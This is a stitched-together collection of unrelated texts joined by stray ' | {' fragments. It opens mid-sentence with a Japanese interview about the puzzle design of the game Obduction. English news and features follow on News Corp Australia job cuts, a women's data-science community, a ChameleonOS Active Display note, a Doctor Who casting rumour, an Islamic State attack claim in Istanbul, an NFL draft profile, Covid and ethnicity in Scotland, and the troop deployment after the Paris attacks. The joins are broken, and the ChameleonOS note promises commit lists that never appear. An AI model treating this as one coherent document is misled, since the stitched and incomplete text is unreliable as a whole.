Westに行きましたが，それは大いに励まされるものでした。疲れるものではありましたが，たくさんのファンがいました。私の仕事を知っていて好きだと言ってくれるんです。彼らからもらった感謝の言葉は，エネルギーを与えてくれるもので，とても嬉しかったです」「しかし，私は全然気づいていなかったのです。コミュニティがなぜそれほど支えてくれ，肯定的であったのか，ちゃんと考えたことがありませんでした。もちろん，どんなグループにも必ず嫌な人が1人や2人はいるものですが，全体的には素晴らしいファンの皆さんに恵まれています。頭脳型のゲームだからでしょうか。ペースがゆっくりで，熱狂していない人々向けで，ワンパターンな反応はない，彼らは忍耐強いのです。ほかのゲームでも支えてくれるグループはあると思いますし，そういうグループがいてくれるのはものすごく幸運なことだと思うので，誰のことも責めたくはありませんが」Miller氏のゲームのコアにあるパズルのデザインは，物質的で，環境的で，一見シンプルに見えることが多いという点で特徴的だ。ゲームの難しさを判断することは，明らかにそのゲームを楽しめるかどうかの基本となる。だがこのゲームシリーズの喜びの一つは，もっぱらMiller氏のパズルにある。それは外部の知識に頼らなくても演繹的に解くことができ，人間の普遍的な合理性に訴えるものなのだ。パズルとゲームにおける著しく多くの共通用語が短い時間に確立される「言語」は魅力的な部分だ。例えば，ほとんどの人は「ハノイの塔」や「put out the lights」のパズル（※おそらく5×5マスで指定したマスと上下左右のライトの状態が反転するタイプのパズルゲーム）を与えられたら，どういうものなのか正確に理解する。しかし同時に，あまり面白くもなく，環境が生まれる感覚をもたらすようなものではないこともすぐに分かる。Miller氏は，これは複雑な均衡を保つプロセスだと言う。パズルを解くのに必要な外部の知識をどう見極めるのか尋ねたところ，Miller氏はこう答えた。「私たちは，文化，とくに自分のカルチャーに染まっているので，もっと幅広い層に理解され楽しんでもらえるように，意識的に努めることが必要です。私たちはそれをやってきたと思いたいところですが，あなたの質問を受けて，私たちのゲームの特定の要素で必ずしも文化になっていないものを考えてみます」「人々が理解しやすいように，私たちは物事を象徴化しようとします。私たちがそれでヒットを作り出したかどうかは分かりませんが，パワーパズルはいい例でしょう。私たちがある意味，送電エリアの裏側と考えるようなところに戻るのにあなたは電線をたどるでしょう。私たちがそこで置くのは奇妙で象徴的な絶縁体のようなもので，なんとなく『わあ，ここにはたくさんの電力がある』と思わせるようなものなのです。でも正直言えば，これが中国の12歳の少年に通用するのか私には分かりません。送電は一般的に誰でも理解できるものですから，通用するとは思います。でもその普遍と思うもののうちどれくらいが，私がアメリカ人として受けた教育によるものなのでしょうか」「本当に正しいグローバルな物の見方はどちらなのかを，私たちが知っていると思い込んでいることがおそらく障害になっているのだと思うのです。とにかく，それはとてもいい質問です。あまり知られていない文化圏の人がこのゲームをしたとき，完全に見逃すものが何なのかをぜひ見てみたいものです。ただあまりマイナーなところまで行かないほうがいいかもしれません，なぜなら全員を喜ばすことはできないものですから，でも，彼らがまったく理解できないものが何なのか調べることは非常に興味深い研究だと思います」「前出の電力の話は面白いと思います。なぜなら，ごく少数のグループの人々を除いて，アメリカにいる誰も，機関車エンジンを発電機として使えるということを知らないでしょう。見上げるとそこには電力を供給するために，確かに発電機が埋め込まれているので，私たちはホース（送水管）には見えないような太い電線をヒントとして描き出さなければいけませんでしたた。プラグを差すところには440ボルトのサインも置きました。現在，440ボルトは一般的でもなければ世界標準のボルテージ量でもないのですが，でもその大きな数字で気がつくわけです。『わあ，ここで電気を作るんだ』と。だからこういう小さな手掛かりで分からせるようにしたいと思うのです」成功するパズルゲームデザインのもう一つの鍵は，あなたが45分後にまだ同じ問題を見ているときでも，進展していると思わせる感覚だ。「Witness」のようなゲームは，段階的な学習とプレイヤーの挑戦の最たるものだが，Obductionにおいては，問題は自己完結型で毎回異なる。またいつでもあなたの頭をドンと打つものが一つだけある。FPSでは，プレイヤーは次の手を「相手は手榴弾を避けるか，遮蔽物にたどり着くために撃ってくるかもしれない」といった感じで予測することができる。Obductionがある問題を解決する2次元空間では，そうはいかない。Cyan Worldsは，ここで生じるフラストレーションをどのように回避しているのだろうか。「それは良い質問です。私たちにはいくつかの方法があります。一つめは，少なくとも伝統的なゲーム観の中ではプレイヤーに最初からのやり直しはさせないことです。スタートオーバーは，完全な妨害かフラストレーションがたまるものになりえるのです。プレイヤーは死んで最初からやり直しになった時点でやめるでしょう。『やり直しになった，そんな時間はない，もうやめた』ですから，スタートオーバーはなしです」「それは大きな精神的恩恵になります。なぜなら，たとえ実際は行ったり来たりしているだけでも，常に前進しているように感じるので，あなたは決して『このゲームは私をまたゲーム入口の峡谷に連れ戻すのか？ じゃあもうプレイしたくない』とは感じません。このようにして私たちは，私たちのゲームの中では死なないという状態を作ることで，一つの問題を乗り越えたのです」「二つめは，先ほど言った通り，正しい仕事をしていれば，プレイヤーの心の奥底を揺さぶるものができるということです。ゲームストーリーはプレイヤー自身の物語になり，パズルもプレイヤー自身のパズルになる，それはいつもプレイヤーと共にあり，ゲームに気持ちを引き戻すのです。たとえある時点でプレイヤーが『もう十分プレイしたし，だいたい制覇したからおしまいにしなければ』『「もうこのゲームは十分やったから，次はいつ戻ってきてプレイするか分からない』と思ったとしても，私たちがちゃんと仕事をしていれば，とくにストーリーの要素や環境はプレイヤーの中でゆっくりと燃え続け，プレイヤーはストーリーが魅力的だとか，ゲーム内で見た世界のこととか，さらにはパズルのことまでも考え始めるのです。『ああそうだ，ちょっと思いついたぞ。ああやったらどうだろう……，やってみなければ』これらが，私たちが追求するものだと思うのです」「私たちはパズルをうまく作り込もうとし，プレイヤーを引き入れてちゃんとゲームとコネクトできているようにしたいと考えています。しかし私たちにとって最も重要なことは，私たちがゲームにそういうコネクションを組み込むということです。プレイヤーがゲームに戻ってきて釘付けになるまでプレイしてくれるようにじらすのです。最終的には，先ほども言った通り，一度コネクションができるとプレイヤーは振り返って『そうだ，あれを見ておけばよかった，彼の家に直に続く電線があるという事実をちゃんと見ておくべきだった。……，あぁ，あった。思った通りちゃんと配置されているぞ』となるのです。そうなったら，私たちは正しい仕事をしたということになるのです」「しかし，私たちがパズルを作って，プレイヤーがプレイして『あぁ，このゲームデザイナーはバカだ。これをピックアップする方法なんてない』と言ったとすれば，もし私たちがあえてそのようにパズルを作っていたとしても，それでは成功したということにはならないのです。私たちのゴールは，プレイヤー全員にコネクションを持ってもらうことなのです」Obductionは，連続したパズルゲームの以上のものとなっていて興味深い。ゲームの中には一貫したストーリーがある。メモに書かれたストーリーと背景の情報の断片は，「Hunrath」の世界で実際に何が起きたのかきちんと理解させるためにつなぎあわせられている。Cyanのゲームは広範囲なNPCを呈示するような安直なものを避ける傾向があるので，Miller氏と彼のチームは，パズルと世界の両方が密接に編み込まれた物語になるように注意しなければならない。「信じられないほど有機的です」と，彼はプロセスに関して語る。「私たちがデザインするときは，三脚の足に見立てます。一つめは，環境・実際の場所・見え方。二つめは障害（原文はFriction：摩擦）でゲーム内のどこへも瞬時にはたどり着けないようにあなたを減速させるものです。そして三つめはストーリーです。「私たちのゲームにおいては，これら三つのバランスをとりたいと思っています。バランスがいいから常により良いということではありませんが。ほかのゲームでは，プレイヤーがさまざまな方法で楽しめるように一つの足だけに重心を置いているものもあり，それはそれでうまくいっています。しかし，私たちが本当にいいと思うのは，三本足のバランスが取れているものです。「興味深いことに，私がかなり幼い頃から世界観を作っていた方法と，今私がデザインする方法はつながっています。それは，子供たちが宝島の地図を描くのに似ています。小さな地図を書いて，海賊が宝物を隠した場所に×マークを書いたりしていました。それはあくまでも上から見た構造の地図であり，今デザインしているものとは違いますが，それでもその片鱗は子供時代からあったということです。よく「ダンジョンズ＆ドラゴンズ」で遊んでいたことも覚えています。私はそういうものでそれほど遊んでいたわけではなく，完全に夢中になるほどではありませんでした。でも，新しい世界を作りたかったのです。D＆Dで世界を作ったときに同じことをやっていたのを覚えています。その世界では，サイコロを振る必要はなく，パズルと障害があり，人々を連れていくお城がありました。人々がいる場所をまず描くとその場所が自ら紙の上に現れ，人々にも見えるようになりそこを少しずつ探検していくのです。「それは信じられないほど有機的な感覚です。そして，信じられないほど集中力のいる作業でもあります。もしゲームのテーマがシューティング物であったら，この素晴らしいものは単純化されます。いえ，あまりシンプルにしすぎたくありませんが。でもテーマは完了です。私は武器を持ち，悪人を撃ち，もっとアイテムを増やし，そうするとより強力な武器を得てより多くの悪人を撃てるのです。これは極めて達成感を伴う障害です。悪人と武器。でもそれは知られたもので，終わっています。あなたのゲームはそのようにプレイしましたが，今あなたがしなければならないのは，大枠の環境設定とストーリー展開を終わらせることです，でもポイントは，悪人を殺すということです」「私たちは贅沢できません。以前に作ったパズルは少ししか活用することができません。そうでないと人々は『なんだ，MystやRivenと同じパズルだ』と思うことでしょう。私たちは，新しいパズルを作るとき，パズルがその属する環境にマッチし，またプレイヤーがそこにたどり着いたときに初めて見えてくるストーリーを持つように努めています。極めて大変な作業です。だから多くの人はこのようなことをやらないのでしょう」 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Rupert Murdoch’s Australian tabloids are making the majority of their photographers and subeditors redundant in a radical cost-cutting move designed to keep the ailing newspaper business afloat.
The director of editorial management, Campbell Reid, said the restructure of the traditional newsroom was needed to “preserve in print and excel in digital”.
The Daily Telegraph, the Herald Sun and the Courier-Mail are set to lose dozens of staff each – the Queensland masthead alone will cut 45 – although the company is not revealing the total number of job losses.
The announcement follows a cost-cutting drive in December which saw 42 journalists, artists and photographers made redundant in a bid to slash $40m from News Corp.
Last week the Gold Coast Bulletin was told it had to lose 10 jobs, and sources said dozens of people had been quietly made redundant already this year across all the mastheads.
News Corp said the old model of staff photographers would be retired for a “hybrid model, consisting of a core team of photographic specialists, complemented by freelance and agency talent”.
At a meeting at Sydney’s Holt Street headquarters, the Daily Telegraph editor, Chris Dore, told staff the photographers would lose their permanent status but may be hired back as casuals and freelancers.
Staff at the Herald Sun were told News Corp “is in a fight for its life”.
There was no mention at the meeting of the company’s financial losses which are behind the move. In February News Corp posted a second-quarter loss of $287m and cited impairments in the Australian newspaper business as a key factor. The Australian editors were summoned to the US for a meeting about making substantial cuts to operations.
News described the changes as a modernisation of the newsroom which would “simplify in-house production and maximise the use of available print technology for print edition production”.
“Like every other business today, we have to identify opportunities to improve and modernise the way we work to become more efficient,” Reid said.
“We need to organise our editorial operations so we can preserve in print and excel in digital. This requires a new approach to long-standing newsroom processes.
“Our core franchise is journalism and we will always protect and preserve that. These changes do not diminish our commitment to quality nor our faith in the long-term future of all our publishing platforms.
“At a time when trusted, credible news content is paramount, we must ensure our contemporary newsrooms are shaped to deliver the news, analysis, features and services that match modern reader needs, whether in print, digital, on mobile, or in video or audio.”
On Tuesday afternoon staff across the country were briefed on the changes, but management refused to answer questions about how many jobs would go.
In Melbourne, staff of the Herald Sun were briefed by Victorian managing director of editorial, Peter Blunden. As many as 40 jobs are expected to go from the Herald Sun. The Australian appears to be immune from this round.
A $60m content management system called Methode – introduced by former CEO Kim Williams in 2012 – would enable journalists to edit, lay out and publish their own stories, bypassing the need for subeditors and production journalists, sources said.
“The investment in Methode plays a foundation stone role in engaging our customers,” Williams said before he stepped down in 2013.
“It will allow us to create once and publish many times across every platform our customers use – print, online, tablet, mobile, smart devices, and broadcast. We are a media company and we have confidence in all the forms of media that Methode will serve, enabling our journalists to produce great material efficiently.
“The new operating model is designed to empower staff to work smarter and faster. We will upskill our central functions and eliminate wasteful duplication.
“The new model addresses areas where we have skill shortages and are duplicating functions. We will hire new people where required, but regrettably some roles will become redundant.”
Ironically, Williams’ grand plan to restructure News Corp, which faced fierce resistance within the company and in part led to his departure, has now largely been adopted as the company faces even more severe conditions in the media business. After leaving, Williams accused News Corp, of “vaingloriously ignoring facts” about the future of digital news.
The Media, Entertainment and Arts Alliance said up to two-thirds of the photographic staff will be cut in some cities.
Significant changes to work practices are likely, including earlier deadlines, greater copy sharing across cities and mastheads, and journalists doing production roles.
“The job redundancies that will result which will only serve to strip vital editorial talent from the company’s mastheads, harm the very products that News Corp’s audiences value and end up being self-defeating because of the damage they do,” the union’s media section director, Katelin McInerney, said.
“Cutting the very staff who tell the stories of our society’s marginalised and vulnerable – particularly those photojournalists who create the images we, as audiences, rely on to cut to the heart of an issue in a powerful, compelling and instantaneous way – has proved an ultimately futile stop-gap measure for news companies,” McInerney said.
The cuts at News follow major cuts announced last week by rival Fairfax Media which aim to remove $30m annually from the editorial budget by losing dozens of journalists and photographers. | {
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What does a person who’s just moved to a new city do with her skills? She hones them, connects with people, and builds a community
Pregnant and home alone, Namita Nair, a trained data analyst, turned to her favourite pastime — crunching data. This time though, it was not for a client; she was simply keeping herself engaged. She tracked her grocery shopping and broke it down into data that revealed how much she spent, what she bought, how much, and when. Namita then turned her attention to her workouts and tracked how much time she spent at the gym, what kind of training she did, her weight gain or loss and the composition of her diet.
She is so passionate about mining and tracking data, that at one point she reduced different aspects of her life to quantitative entities. In fact, in an article she wrote, she asserts that “data, and not diamonds are a girl’s best friend”.
At present, the 29-year-old is founder and moderator of She Drives Data, a web-based data science community for women on the women-only SHEROES platform, which is counting on creating a more woman-centric worldwide net. With more than 12,000 members in her community, the data miner is bubbling with enthusiasm.
Namita helps women get over their fear of data, by giving them a clear picture of how data analysing is the future. She also teaches them various software that deal with data analysing and visualising. “This is a hub for data enthusiasts and data newbies to learn via mentorships, community chats, conversations, collaborations and free sessions,” she says, during a chat at her home in Thiruvananthapuram, Kerala.
Female first English mathematician and writer Ada Lovelace’s work on Charles Babbage’s Analytical Engine in the early 1840s has led to many considering her the first female programmer.
“For instance, if there is a boutique owner who wants to understand more about her business and her clients, she would need data about the kind of clients who frequent her outlet, the sections they visit, the kind of clothes they choose, the timings of their visits, their age group and so on. All the random data, when put together, will give her pointers to create her business strategy and how to improve her business. Basically, this is what data analysts do: collect data, track it and understand the numbers to draw conclusions to help improve businesses and form strategies as and when required,” she explains.
For the engineering graduate from Bengaluru-based Ramaiah Institute of Technology, it was her manager at her first job who made her aware of the Aladdin’s cave of data treasure that awaited data analysts who knew where to look and how. “There was no looking back after that. Data fascinated me with the kind of stories the numbers reveal,” she chips in.
After her post-graduation in Management Information Systems from Santa Clara University, California, Namita tied the knot with Vivek Gopan and relocated to Thiruvananthapuram. Soon after, she got pregnant. Working out of home, she decided to spend time learning software and concepts such as Python, Big Data, Tableau and Machine Learning, all of which help track, record and visualise data.
“But I felt lonely and isolated. There was no one to share my doubts with or chat about my findings, or even just to share my thoughts about what I was doing,” she recalls. She decided to go online and offer her expertise to clients who wanted data to be interpreted and also teach women who wanted to learn data analysing.
In January 2018, about a year after her son, Madhav, was born, Namita opened her account with a community website and waited for offers. She didn’t get any. By May, she was almost ready to give up, when she came across something tweeted by Sairee Chahal, founder-CEO of SHEROES. She messaged Sairee, and within no time, got a reply saying: “Love what you are building, but we’ll build something cool together”.
Within a week, the two forged a community for data on the SHEROES platform. And within two months, the community grew to reach 10k.
At present, Namita is busy clarifying doubts about careers in data analysis, conducting courses and guiding women who want to know about courses for data analysts. In her conversations with the members, Namita learnt that many of them wanted to know how they could advance their careers, set up their own businesses or enhance their skills. “I began taking online courses in Tableau, a software that is simple and effective for data visualising. At present, I am busy with my classes and online interactions with the community. At the same time, I can be a stay-at-home mom,” she says, showing me an online class of hers on Tableau.
And what is the advantage, if any, of a women-only platform like her community and SHEROES? “Oh, there are many. Most importantly, we are empathetic and there is a bond amongst us, which, I think, is so strong because we are a woman-only community. For instance, when I mentioned that my son was unwell, the SHEROES team told me to take a break and come back online only after he had recovered. That is the kind of space that it gives us. It is a sisterhood. The core value SHEROES tries to spread both within the company itself and its community is empathy,” she explains.
It has helped her bond with young moms like herself. She treasures meeting Kollam-based Shahna Ellias, who attended the recent SHEROES summit in Thiruvananthapuram. “She founded Coding for Kids and has a community called ‘Moms for Coding’, which is helping children who enjoy it. She was one of the first to get in touch with me after I began the community and today we share a close tie with each other.” | {
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[4.3]
[4.4]
**UPDATE**
Now for the important stuff that developers may be interested in. Since ChameleonOS is an open source project this feature is available for other developers to pick and incorporate into other ROMs. If you want to incorporate this you'll need to grab a few commits from our frameworks base and Settings projects.From android_frameworks_base you'll want to pick the following commitsFrom android_frameworks_base you'll want to pick the following commitsAnd from Settings you'll want to pick these commits:For those that are using a 4.3 or 4.4 based ROM that does not have Active Display integrated, I've managed to develop a stand alone application that adds the functionality of Active Display. There is an ad supported version as well as a paid version for those that like to support independent developers. | {
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Don't miss out on the biggest soaps gossip! Get a daily email direct to your inbox with our newsletter Sign up Thank you for subscribing We have more newsletters Show me See our privacy notice Invalid Email
EastEnders star Rakhee Thakrar is reportedly in talks to join Doctor Who .
The actress, who is famous for playing Walford's Shabnam Masood, is thought to have been lined up by BBC bosses to fill the shoes of Clara Oswald [ Jenna Coleman ].
If all goes to plan, the brunette beauty will become the Time Lord's [Peter Capaldi] new companion.
A source told the RadioTimes.com that auditions for the coveted role are taking place now but bosses already have their sights set on snapping up the 32-year-old actress.
READ MORE:Peter Capaldi teases that Doctor Who is looking for someone ''different''
(Image: BBC)
And Rakhee's schedule should have no problem accommodating filming for the next series as she's just turned her back on EastEnders following two years on the show.
Although the rumours about the casting are yet to be confirmed, if she does take on the role, Rakhee will be the first non-white main companion since Freema Agyeman's medic Martha Jones left David Tennant's side back in 2008.
Read more:
(Image: BBC)
Meanwhile, the popular sci-fi series is set for a huge shake-up next year when current producer Steve Moffat hands over the production reins to the new show runner Chris Chibnall.
But it's not just behind the scenes that will change, as Peter - who has played the Time Lord for two years - has also hinted he'll be stepping down in 2017 to give Chris a "fresh start." | {
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The world is facing a shortage of airline pilots. But why and how can it be fixed?
Video by Simon Atkinson & Anna Jones | {
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Ever since New Year’s Day, when a gunman killed at least 39 partiers at the Reina nightclub in Istanbul, watchers of the Islamic State have engaged in a familiar, morbid countdown. How long until the Islamic State issues a statement taking credit for the attack? This morning, the wait ended with a press release from the group avowing its authorship of the carnage. Turkish newspapers report that many of the victims died from head shots, point-blank. First they were wounded or cornered, then executed. The killer remains at large.
It is proper to resist the temptation to assess the gravity of this attack by noting that its body count is less than that of Omar Mateen’s Islamic State-inspired attack at the Pulse nightclub in Orlando (50 dead), or the coordinated attacks in Paris in November 2015 (130 dead). Allocating column inches according to these benchmarks is the very definition of normalization. (If this attack had taken place five years ago, it would have prompted smothering coverage for days, not a quickly expiring moment of media attention, and a return to regularly scheduled coverage.)
Moreover, in this case especially, the politics of the attack and its avowal make the Reina massacre much more pivotal than many others with higher tallies of casualties. The Islamic State has now formally ended its separate peace with Turkey. Since the group’s sack of Mosul in mid-2014, when it took captive 46 Turks, including diplomats, from the consulate there, the Turkish posture toward the Islamic State has been inconsistent at best. Turkey negotiated the hostages’ freedom (at what price is unclear), and its border remained permeable to anyone who wished to cross it—rebels opposed to Syrian President Bashar al-Assad, but also jihadists bound for the Islamic State—for well over a year. At the same time, Turkey allowed U.S. anti-Islamic State operations out of Incirlik Air Base. The Islamic State, for its part, fulminated against the Turkish “secular” government (never mind that President Recep Tayyip Erdogan is himself an Islamist) in its propaganda and even mounted a few attacks.
But it never claimed an attack outright. Few doubted that the Istanbul Airport raid was the Islamic State’s handiwork, and many smaller attacks have likewise been attributed but not avowed. (A car bombing in Diyarbakir in November was claimed for the Islamic State by its Amaq News Agency. But the attribution for that attack is still murky, as it was claimed by a Kurdish terror group as well.) Turkey has, up till now, been unique among victims in never having its victimhood acknowledged by its assailant. Whatever value this fiction held, it has now ended.
This time is different. The press release states that the attack was “ordered by the prince of the believers,” Abu Bakr al-Baghdadi, and not merely addressed to him by an adoring fan. The Islamic State chooses its words carefully, and these ones imply responsibility at the highest level. Moreover, the new aggression comes after Turkey’s own tilt against ISIS, through military campaigns along the western edge of the Islamic State’s territory, and Baghdadi’s personal call in November for attacks against Turkey's “apostate” government. Last week, Turkey participated in a Russian-backed ceasefire involving a slate of rebel groups, including several jihadist ones but not the Islamic State. That agreement demonstrates overt, unforced alignment with Assad and his non-Muslim allies. And it is accompanied by further Turkish military gains against the Islamic State in al-Bab, the group’s former stronghold in western Syria. Just weeks ago, the Islamic State chained two captured Turkish soldiers by the neck, doused them with gasoline, and burned them alive on camera. Hostilities are open, and the game is on.
The countdown I mentioned earlier—the social-media vigil kept by Islamic State analysts, for the moment the attack was claimed through the group’s official channels—is rarely undertaken with such certainty of the outcome. The target of the attack, a gathering of mostly Muslim merrymakers celebrating the end of a year as marked on the Christian calendar, was pure Islamic State bait. The commando-style raid likewise bears the group’s hallmarks. But we knew, too, that Turkey was by now an overripe target, and another, longer countdown, for its inclusion on the list of countries targeted aggressively and openly, had reached its conclusion as well. | {
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Profile
Vita Vea
Washington
Defensive Tackle
6’4, 347 pounds
Arm Length: 32 5/8″
Hand Size: 10″
Combine Results
(Rank among position in parentheses)
Bench Press: 41 (2nd)
40 Yard Dash: 5.1
Strengths
Vea has ideal size for an NFL defensive tackle. His strength allows him to often win the line of scrimmage, and push around smaller and weaker offensive linemen. He has good technique but is inconsistent in using it. Vea’s bull rush could be a lethal weapon in the NFL and will allow him to be a three-down lineman. He is good rushing the passer, but he shines in the run game.
Vea uses his strong base and good hands to cause disruption and close gaps by himself. He will often command multiple blockers to keep him at bay, and even then, there is a high chance he will get penetration. He played outside, inside, one-tech and three-tech in college. For a man of his size, Vea moves well and pursues the ball carrier better than most defensive linemen. Vea has excellent football IQ and can use more than brute strength to win his battles.
Weaknesses
Vea is still a very raw talent. His play is inconsistent, some plays he dominated three blockers, and others he doesn’t make an impact. Since Vea usually can brute force his way through most encounters, he often overuses his power. Vea has good hands and technique, but he often defaults to using pure strength and gets beaten by better linemen. Vea often plays with his pad level too high. His initial burst off of the line of scrimmage is occasionally lacking.
Latest From FPC on SportsCastr
Colts’ Fit
Vea slides right into the 4-3 defensive tackle position for the Colts next to Jonathan Hankins. The Colts’ run defense, although serviceable last year, ranked 25th in the NFL. Vea immediately slots in and will help stuff inside runs, and open up gaps for linebackers to make plays on the ball. The Colts would only acquire Vea is they traded back since defensive line is not a huge need.
Overview
Vita Vea has only scratched the surface of the potential that he could unlock. All of Vea’s issues are easily correctable with the right coaching. He is a raw talent with untapped potential, yet he already has plenty of discernable skills. Although Vea’s best position is as a 4-3 defensive tackle, he could become a good nose tackle or even defensive end in a 3-4 scheme. Vea’s floor is a solid starting NFL nose tackle, with a ceiling of an All-Pro defensive lineman.
Ben Pfeifer is the Managing Editor of the Colts for Full Press Coverage, the AFC South Division Editor, and head NBA editor. Want to continue the discussion? Contact Ben Pfeifer on Twitter @Ben_Pfeifer_ and @FPC_Colts. | {
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Zibya Bashir lost her mother, Rafaqat Khalid, to coronavirus at the start of lockdown.
Ms Bashir said it feels like her mum, who was originally from Pakistan, had been “snatched away from her” following her sudden death.
It’s not known whether her mother was more likely to be affected by coronavirus because of her ethnicity – however studies have shown it’s possible.
Data in England and Wales suggests BAME people are disproportionately dying with coronavirus.
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Some fear a lack of similar data in Scotland will lead to a lack of action on racial inequalities and there are now calls for more research.
Ms Bashir told STV News: “She was amazingly strong. She had seven kids, a husband to look after and 13 grandchildren. She was always there for all of us, nothing was ever too much.
“She had a liver transplant about seven years ago, and thankfully it was successful. But even after that she did everything for herself.
‘The Scottish Government needs to take it more seriously but each and every one of us has to talk, I don’t think we can afford to be complacent because the reality is people have died as a result of it and people still are.’ Zibya Atif
“She was just a very very strong woman, very strong.
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“About seven or ten days before she passed away she was diagnosed with a chest infection.
“The doctors weren’t concerned about it being Covid, they just put it down as a minor infection and she was on antibiotics.
“She was eating fine and things and for a few days it was as if she was completely better but it was almost overnight she developed breathlessness and it just got worse and worse. An ambulance was called for her after they had spoken to the doctor on the phone.
“She was taken into hospital on a Wednesday night. The Thursday was a very difficult day for the family because we weren’t allowed to be with her.
“They did an X-ray and the hospital called to say only one person from the family could come in to be with her because they said the X-ray was typical of that of a Covid patient. And then on the Friday morning she was gone- just like that. It feels like she was snatched away from us.
Rafaqat Khalid died in hospital after developing breathlessness.
“We didn’t get to do the normal things when someone passes away. There was no proper funeral. Islamic funerals are different from conventional non-Islamic funerals. It’s made it all the more hard because we haven’t been able to grieve together as a family.
“You wake up every morning and it’s the first thing in your head. There isn’t a day that goes by when I don’t cry thinking about how much I miss her.
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“The Scottish Government needs to take it more seriously but each and every one of us has to talk, I don’t think we can afford to be complacent because the reality is people have died as a result of it and people still are.”
In England and Wales, the mortality rate for Covid-19 is higher for black and minority ethnic people than for white people.
However, it cannot conclusively be said that the situation is the same in Scotland.
A report from National Records of Scotland released in July showed coronavirus was a more common cause of death for South Asian people, compared to white people.
But there was insufficient data to determine how other ethnic minority groups in Scotland were affected.
The Scottish Government has acknowledged that there is a lack of data here, and has created a task force to investigate the issue.
Professor Shaun Treweek: Scotland needs to record ethnicity in studies.
The team, called the Expert Reference Group on Covid-19 and Ethnicity, has recommended recording ethnicity on NHS databases is made compulsory.
A study from Aberdeen University has highlighted the importance of recording this kind of data in shaping policy.
Professor Shaun Treweek said: “Within Covid studies, it’s often the case that not only is there no special attempt to make it easier for black, Asian and minority ethnic groups to take part but there’s no record of the ethnicity of any participants.
“We clearly need to have high proportions of individuals from across the spectrum of ethnic communities – often we don’t.
“Ok, there is a problem. Once having recognised that, we need to start working with our local communities, discovering why there are particular problems for particular ethnic groups, and seeing what we can do to make it easier, more likely and more possible for those individuals to get involved in our research.”
Campaigners say it’s not just the health of BAME communities that is suffering detrimental effects from the pandemic.
Usman Ali, chair of the STUC Black workers committee, said: “We have been engaging with the Scottish Government on multiple areas of policy, predominantly to improve data collection recording and reporting so that we know who exactly is being impacted and how.
Usman Ali, chair of the STUC Black workers committee.
“We’ve also been making sure that underrepresented groups within black and ethnic minority communities such as those seeking refuge and asylum are being well looked after and cared for.
“We’re making sure that those working in the health and social care sector are being well looked after and have risk assessments at work.
“This pandemic has demonstrated the inequalities that black and minority ethnic workers and communities were facing long before the pandemic and therefore when plans have kicked in it can appear the response that the Government may have has been slow.
‘This pandemic has demonstrated the inequalities that black and minority ethnic workers and communities were facing long before the pandemic.’ Usman Ali, chair of the STUC Black workers committee
“But when we have challenged the Scottish Government, and we have challenged them multiple times quite publicly, the Scottish Government have responded.
“Coronavirus is predominantly a health pandemic but it’s also a socio-economic crisis, and sadly BAME communities are facing the brunt on all those fronts.”
Work is being done in Scotland to combat the barriers people from ethnic minorities face.
This includes translating Government and NHS guidance for people who’s first language isn’t English.
A Scottish Government spokesperson said: “The Expert Reference Group on Covid-19 and Ethnicity was formed in June, in response to UK-wide and international reports that Covid-19 was disproportionately impacting on some minority ethnic groups.
“The group has already played a vital role in informing the Scottish Government response to Covid-19 and has now submitted its initial advice and recommendation, some of which have already been reflected in our programme for government.
“In recognition of the group’s concern over a lack of high quality population-based data we will make ethnicity a mandatory field for health databases, develop a link to the census, and embed the process of ethnicity data collection in the culture of the NHS in Scotland.
“We will also look to increase the numbers of minority ethnic staff in senior executive team roles in health and social care, while ensuring staff at all levels have a voice and influence to help drive change.
“We will also look closely at undertaking a review of our past and current initiatives to tackle systemic racism.
“The group’s recommendations require careful consideration, and a full Scottish Government response will be given in due course.” | {
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Paris attacks: France to deploy 10,000 troops Published duration 12 January 2015
image copyright Reuters image caption Troops were being deployed outside Jewish schools and synagogues
France is mobilising 10,000 troops to boost security after last week's deadly attacks, and will send thousands of police to protect Jewish schools.
Defence Minister Jean-Yves Le Drian said troops would be in place from Tuesday evening in sensitive areas.
It is the first time troops have been deployed within France on such a scale.
Seventeen people were killed in Paris last week in attacks at satirical magazine Charlie Hebdo, on a police officer, and at a kosher supermarket.
On Sunday, an estimated 3.7 million people took to the streets to show solidarity with the victims, including 1.5 million people in Paris.
About 40 world leaders joined the start of the Paris march, linking arms in an act of solidarity.
President Francois Hollande ordered the deployment of troops during a crisis meeting with top officials early on Monday.
media caption French defence minister: "The mobilisation started this morning"
media caption The supermarket attacker's partner was caught on CCTV at an Istanbul airport
Mr Le Drian said the deployment, the first of its kind, was needed because "threats remain present".
Interior Minister Bernard Cazaneuve announced that nearly 5,000 members of the security forces would be sent to protect France's 717 Jewish schools, and that troops would be sent as reinforcements over the next two days.
Prime Minister Manuel Valls said synagogues would also be protected, as would mosques, following some retaliatory attacks over the Charlie Hebdo killings.
Last week, Mr Valls admitted there had been "clear failings" after it emerged that the three gunman involved in the attacks - Said and Cherif Kouachi and Amedy Coulibaly - had a history of extremism.
media caption Chris Bockman said security was tight at a Jewish school in Toulouse which was the scene of a fatal attack in 2012
The Kouachi brothers were on UK and US terror watch lists and Coulibaly had previously been convicted for plotting to free a known militant from prison. Coulibaly met Cherif Kouachi while in jail.
Coulibaly and the two brothers were shot dead on Friday after police ended two separate sieges.
Coulibaly killed four people at a kosher supermarket in eastern Paris on Friday before police stormed the building. He is also believed to have shot dead a policewoman the day before.
image copyright AFP image caption Armed police patrolled on Monday in the Marais, a historic Jewish neighbourhood in central Paris
image copyright EPA image caption Israeli leader Benjamin Netanyahu, who came to Paris for Sunday's march, visited the kosher supermarket
image copyright Reuters image caption After the huge marches, a statue in Place de la Republique was left holding a giant "I am Charlie" pencil
Ahead of Sunday's rally in Paris, a video emerged appearing to show Coulibaly pledging allegiance to the Islamic State militant group.
In the video, he said he was working with the Kouachi brothers: "We have split our team into two... to increase the impact of our actions."
The Kouachi brothers claimed they were acting on behalf of Yemeni branch of al-Qaeda (AQAP). But experts say it is highly unlikely that Islamic State and al-Qaeda, rivals in the Middle East, would plan an attack together.
media caption BBC News takes a look at the most memorable moments of a unity march that saw 1.6 million people take to the streets of Paris
The attacks in Paris started last Wednesday, when the Kouachi brothers raided the offices of the satirical magazine Charlie Hebdo, killing 12 people - including eight journalists and two police officers.
Mr Valls said on Monday that authorities thought that the attackers had at least one accomplice, for whom police are still hunting.
One suspect is Hayat Boumeddiene, Coulibaly's partner, though she left France before the attacks. The Turkish foreign minister said she had arrived in Turkey on 2 January from Madrid, before continuing to Syria six days later.
Surveillance footage released on Monday showed Hayat Boumeddiene entering Turkey at an Istanbul airport, accompanied by a man.
